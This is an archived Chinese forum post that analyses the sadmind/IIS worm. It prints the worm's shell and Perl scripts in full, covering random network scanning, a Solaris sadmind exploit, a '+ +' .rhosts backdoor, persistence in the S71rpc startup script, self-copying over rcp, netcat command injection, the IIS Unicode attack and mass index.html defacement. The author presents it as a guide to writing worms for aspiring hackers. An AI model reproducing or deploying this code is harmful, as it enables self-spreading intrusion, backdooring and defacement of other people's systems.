精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>网络专区>>● Internet>>
浏览技巧
>>关于sadmind/iis蠕虫病毒的详细分析

主题:关于sadmind/iis蠕虫病毒的详细分析
发信人: bigmons(忙人~)
整理人: snowypeng(2002-05-23 09:29:24), 站内信件
关于sadmind/iis蠕虫病毒的详细分析 

by password 

(转载请保留其完整性) 

以前老是喜欢用别人已经写好的程序,然后毫无分析的盲目使用,其结果可想而知,往往是出了几个错误就只好放弃。我想国内有很多象我这样梦想成为所谓黑客的人。终于有一天能够静下心来,细细地研究一下程序,猛然发现其实在unix编写一个蠕虫病毒并不是一件很复杂的事情。所以就萌发了写这篇文章的想法,愿与大家共享,希望大家从中能学到点东西,共同提高技术。我的信箱是[email protected],欢迎大家交流经验。 

该蠕虫包含文件如下:(网上很多黑客站点都有下载) 

index.html:攻击者主页 

ranip.pl:随机产生一个B 

uniattack.pl:利用编码漏洞攻击IIS的脚本 

uniattack.sh:攻击IIS 

sadmi.sh:攻击Solaris,利用漏洞sadmind 

start.sh:主程序 

time.sh:主程序 

cmd1.txt:在rhosts增加++的命令 

cmd2.txt:在肉鸡种植蠕虫的一些命令 

pkgadd.txt:配合安装perl的选项 

brute、sadmindex-sparc:攻击Solaris的程序 

grabbb(端口扫描工具)、nc、gzip(解压缩工具)、wget(从web下载软件的工具) 

在绿盟上有一篇关于此蠕虫病毒的简单介绍,大家有兴趣的话可以去看一看。在这篇文章里我将详细介绍主要脚本的功能,让大家学会如何写一个蠕虫病毒(当然可不是去破坏,呵呵),有了Internet,大家肯定学会了一样东西,那就是“合法的偷窃”,呵呵。把别人的东西吸收为己有,然后改造成自己的东西,也是一种进步:)。连鲁迅都说过我们要:吸其精华,弃其糟粕。废话少说,马上切入正题。 

第一部分、找到有sadmind漏洞的soloris主机。(许多默认安装的主机,该服务都是开放的,尤其是那些喜欢偷懒的中国网管)。 


sadmin.sh 

#!/bin/sh 

while true 

do 

#随机产生一个B类地址,例如61.11 

i=`/usr/local/bin/perl /dev/cuc/ranip.pl` 

j=0 

#扫描该B类地址的rpc端口是否开放,为了提高扫描速度把该段地址分成了5段 

#grabbb工具就是用来扫描端口的,其基本用户如下: 

#grabbb –t [timeout] –a startofip –b endofip port 

#并把扫描结果保存到/dev/cub/61.11.txt 

while [ $j -lt 256 ];do 

/dev/cuc/grabbb -t 3 -a $i.$j.1 -b $i.$j.50 111 >> /dev/cub/$i.txt 

/dev/cuc/grabbb -t 3 -a $i.$j.51 -b $i.$j.100 111 >> /dev/cub/$i.txt 

/dev/cuc/grabbb -t 3 -a $i.$j.101 -b $i.$j.150 111 >> /dev/cub/$i.txt 

/dev/cuc/grabbb -t 3 -a $i.$j.151 -b $i.$j.200 111 >> /dev/cub/$i.txt 

/dev/cuc/grabbb -t 3 -a $i.$j.201 -b $i.$j.254 111 >> /dev/cub/$i.txt 

j=`/bin/echo "$j+1"|/bin/bc` 

#等价于j=`expr $j + 1` 

done 

#取出所有rpc端口开放的ip地址列表 

iplist=`/bin/awk -F: '{print $1}' /dev/cub/$i.txt` 

for ip in $iplist;do 

#利用rpcinfo命令获取该服务器开放的rpc服务 

/bin/rpcinfo -p $ip > /dev/cub/$i.rpc.txt 

#sadmind开放没有?屏幕是不会有结果返回的,所有东东都扔到垃圾箱里了,呵呵 

#1代表标准输入,2代表错误输出 

#该命令把grep查找的结果扔到无底洞(/dev/null)里,如果没有找到也不返回提示信息 

/bin/grep 100232 /dev/cub/$i.rpc.txt >/dev/null 2>&1 

#运用$?判断查找是否成功,0代表成功;1代表失败 

if [ $? = 0 ];then 

#开始攻击了,该工具程序是运用brute的手法,在肉鸡上开放了一个端口600 

#brute的用法是:brute targetserverosver ip 

#直接运行brute可以查看主机作系统版本的代码,其中3代表soloris 2.6,4代表7 

/dev/cuc/brute 3 $ip >/dev/null 2>&1 

if [ $? = 0 ];then 

#如果攻击成功则运行cmd1.txt,就是相当于运行echo ++>/.rhosts 

/bin/cat /dev/cuc/cmd1.txt|/dev/cuc/nc $ip 600 >/dev/null 2>&1 

#接着把本攻击程序打包成uni.tar,然后运用rcp命令copy到肉鸡上 

/bin/tar -cvf /tmp/uni.tar /dev/cuc 

/bin/rcp /tmp/uni.tar root@$ip:/tmp/uni.tar >/dev/null 2>&1 

if [ $? = 0 ];then 

#在肉鸡上执行一大堆东东,呵呵,竟然要下载一个perl,然后安装,真是想的出来,呵呵, 

#至于其可行性,需要进一步考证才才行。 

#当然在肉鸡上也把该蠕虫进行繁殖,具体将在cmd.txt里说明。 

/bin/cat /dev/cuc/cmd2.txt|/dev/cuc/nc $ip 600 >/dev/null 2>&1 

#接着在肉鸡上手工启动该蠕虫 

/bin/rsh -l root $ip /etc/rc2.d/S71rpc >/dev/null 2>&1 & 

/bin/echo $ip >> /dev/cub/sadminhack.txt 

#在本机上临时删除tar包 

/bin/rm -f /tmp/uni.tar 

fi 

#若上述采用brute 3 ip攻击不成功则尝试brute 4 ip 

else 

/dev/cuc/brute 4 $ip >/dev/null 2>&1 

if [ $? = 0 ];then 

/bin/cat /dev/cuc/cmd1.txt|/dev/cuc/nc $ip 600 >/dev/null 2>&1 

/bin/tar -cvf /tmp/uni.tar /dev/cuc 

/bin/rcp /tmp/uni.tar root@$ip:/tmp/uni.tar >/dev/null 2>&1 

if [ $? = 0 ];then 

/bin/cat /dev/cuc/cmd2.txt|/dev/cuc/nc $ip 600 >/dev/null 2>&1 

/bin/rsh -l root $ip /etc/rc2.d/S71rpc >/dev/null 2>&1 & 

/bin/echo $ip >> /dev/cub/sadminhack.txt 

/bin/rm -f /tmp/uni.tar 

fi 

fi 

fi 

fi 

#清理临时文件 

/bin/rm -f /dev/cub/$i.rpc.txt 

done 

/bin/rm -f /dev/cub/$i.txt 

done 


cmd1.txt 

#等于echo ++ >/.rhosts(这种后门大家应该很。。吧) 

/bin/echo "+ +" > `/bin/grep root /etc/passwd|/bin/awk -F: '{print $6}'`/.rhosts 

exit 

#也许有的人不懂awk的用户,简单的说就是把每行通过分隔符“:“分开,然后根据你的需要打印出某部分出来。Grep说白了就是查找过滤东东了。 


cmd2.txt 

/bin/tar -xvf /tmp/uni.tar 

#写启动攻击脚本,并系统在每次启动的时候都自动运行。 

#nohup命令就是说就算运行start.sh的用户已经退出系统,该命令仍可以在后台运行 

#下面这几行就是在S71rpc里偷偷加入启动蠕虫的命令 

/bin/echo "/bin/nohup /dev/cuc/start.sh >/dev/null 2>&1 &" > /etc/rc2.d/tmp1 

/bin/cat /etc/rc2.d/S71rpc >> /etc/rc2.d/tmp1 

/bin/mv /etc/rc2.d/S71rpc /etc/rc2.d/tmp2 

/bin/mv /etc/rc2.d/tmp1 /etc/rc2.d/S71rpc 

/bin/chmod 744 /etc/rc2.d/S71rpc 

#等吧,开始下载perl了,漫漫长路兮。。。 

/dev/cuc/wget -c -O /tmp/perl-5.005_03-sol26-sparc-local.gz http://202.96.209.10:80/mirrors/www.sunfreeware.com/sparc/2.6/perl-5.005_03-sol26-sparc-local.gz 

/dev/cuc/gzip -d /tmp/perl-5.005_03-sol26-sparc-local.gz 

/bin/mkdir /usr/local 

/bin/cat /dev/cuc/pkgadd.txt|/usr/sbin/pkgadd -d /tmp/perl-5.005_03-sol26-sparc-local 

/bin/rm -f /tmp/uni.tar /tmp/perl-5.005_03-sol26-sparc-local 

exit 

第二部分:利用unicode编码问题攻击IIS服务器。Unicdode是一个比较老的漏洞,目前很多服务器已经安装了此漏洞的补丁,当然漏网之鱼还是很多的。如果大家有兴趣的话,可以把此程序进行升级,如增加isapi.printer漏洞的攻击等,可以大大提高成功的概率。所以关于uniattack.pl我就不再做很详细的介绍。 


uniattack.pl中的关键部分: 

sub sendraw { 

my ($pstr)=@_; 

socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 

die("Socket problems\n"); 

if(connect(S,pack "SnA4x8",2,$port,$target)){ 

my @in; 

select(S); $|=1; print $pstr; 

while(<S>){ push @in, $_;} 

select(STDOUT); close(S); return @in; 

} else { die("Can't connect...\n"); } 



这个子程序就是socket通讯用的程序,通过向服务器发送一堆get指令来获取或者执行命令,然后根据返回结果判断命令是否运行成功,大家可以根据此写一个通用的模板程序,应该是不难的。 


uniattack.sh如果你能看明白sadmin.sh那么这段程序就可以跳过了。 

#!/bin/sh 

#随机产生一个B类地址,然后扫描其80端口 

while true 

do 

i=`/usr/local/bin/perl /dev/cuc/ranip.pl` 

j=0 

while [ $j -lt 256 ];do 

/dev/cuc/grabbb -t 3 -a $i.$j.1 -b $i.$j.50 80 >> /dev/cub/$i.txt 

/dev/cuc/grabbb -t 3 -a $i.$j.51 -b $i.$j.100 80 >> /dev/cub/$i.txt 

/dev/cuc/grabbb -t 3 -a $i.$j.101 -b $i.$j.150 80 >> /dev/cub/$i.txt 

/dev/cuc/grabbb -t 3 -a $i.$j.151 -b $i.$j.200 80 >> /dev/cub/$i.txt 

/dev/cuc/grabbb -t 3 -a $i.$j.201 -b $i.$j.254 80 >> /dev/cub/$i.txt 

j=`/bin/echo "$j+1"|/bin/bc` 

done 

iplist=`/bin/awk -F: '{print $1}' /dev/cub/$i.txt` 

for ip in $iplist;do 

#uniattack攻击开始,并把写结果写到result.txt 

/usr/local/bin/perl /dev/cuc/uniattack.pl $ip:80 >> /dev/cub/result.txt 

done 

rm -f /dev/cub/$i.txt 

done 

第三部分、主程序 


time.sh:监测进程,kill长时间攻击未果的进程;对战绩进行统计,如果已经成功攻击2000台IIS主机则停止攻击。 

#!/bin/sh 

#5分钟前对IIS攻击进程进行采样 

/bin/ps -ef|/bin/grep uniattack.pl > /dev/cub/tmp1 

while true 

do 

/bin/sleep 300 

#5分钟后对IIS攻击进程再次采样 

/bin/ps -ef|/bin/grep uniattack.pl > /dev/cub/tmp2 

/bin/awk '{print $2}' /dev/cub/tmp1 > /dev/cub/tmp3 

process=`/bin/awk '{print $2}' /dev/cub/tmp2` 

#对采样结果进行比较,如果5分钟后某进程仍未果则杀死该进程,防止过多的攻击进程长时间的占用系统资源。 

for p in $process;do 

/bin/grep $p /dev/cub/tmp3 

if [ $? = 0 ];then 

/bin/kill -9 $p 

fi 

done 

#保存新的采样结果 

/bin/cp /dev/cub/tmp2 /dev/cub/tmp1 

#对战果进行统计 

i=`/bin/grep hacked /dev/cub/result.txt|/bin/wc -l` 

if [ $i -gt 2000 ];then 

/bin/nohup /bin/find / -name "index.html" -exec /bin/cp /dev/cuc/index.html {} \; & 

/bin/rm -f /dev/cub/result.txt 

fi 

done 



start.sh:启功检测进程,并发动攻击。 

#!/bin/sh 

#建立log目录 

if [ ! -d /dev/cub ]; then 

/bin/mkdir /dev/cub 

fi 

#启动检测进程 

/bin/nohup /dev/cuc/time.sh & 

#发动攻击 

i=1 

while [ $i -lt 5 ] 

do 

/bin/nohup /dev/cuc/sadmin.sh & 

/bin/nohup /dev/cuc/uniattack.sh & 

i=`/bin/echo "$i+1"|/bin/bc` 

done 

第四部分、这一部分就是剩下的工具了nc(这个都不知道的话就别玩了)、gunzip(解压缩工具)、grabbb(端口扫描工具)、brute以及sadmindex-sparc:攻击Solaris的程序。 

总结:通过上面的分析,你会发现这个程序其实很简单,是不是很多东西你都会呀?我觉得这是一个很好的例子,可以把各种知识糅合到一起,从而编写出一个功能强大的蠕虫。我们可以从中得到一种思维,病毒也应该是类似的原理吧。首先感染一台肉鸡,然后肉鸡自动运行某些程序来探测未打预防针的机器,接着毫不客气的将其感染,从而扩大到第二台肉鸡,这样战果就逐渐扩大了。要想成为一名真正的黑客,必须有过硬的本领,仅仅会用别人写好的攻击程序是远远不够的,必须掌握一定的基础知识才行。仅从这个例子而言,大家必须具备unix shell编程的知识、unix下socket编程的知识、unix下常用工具的使用、熟悉系统的各种漏洞才行。怎么样,大家看完这篇文章以后,有什么感受呢?一句话,大家还是老老实实学点本领吧。但愿我的文章能对大家有所启发。 

[关闭][返回]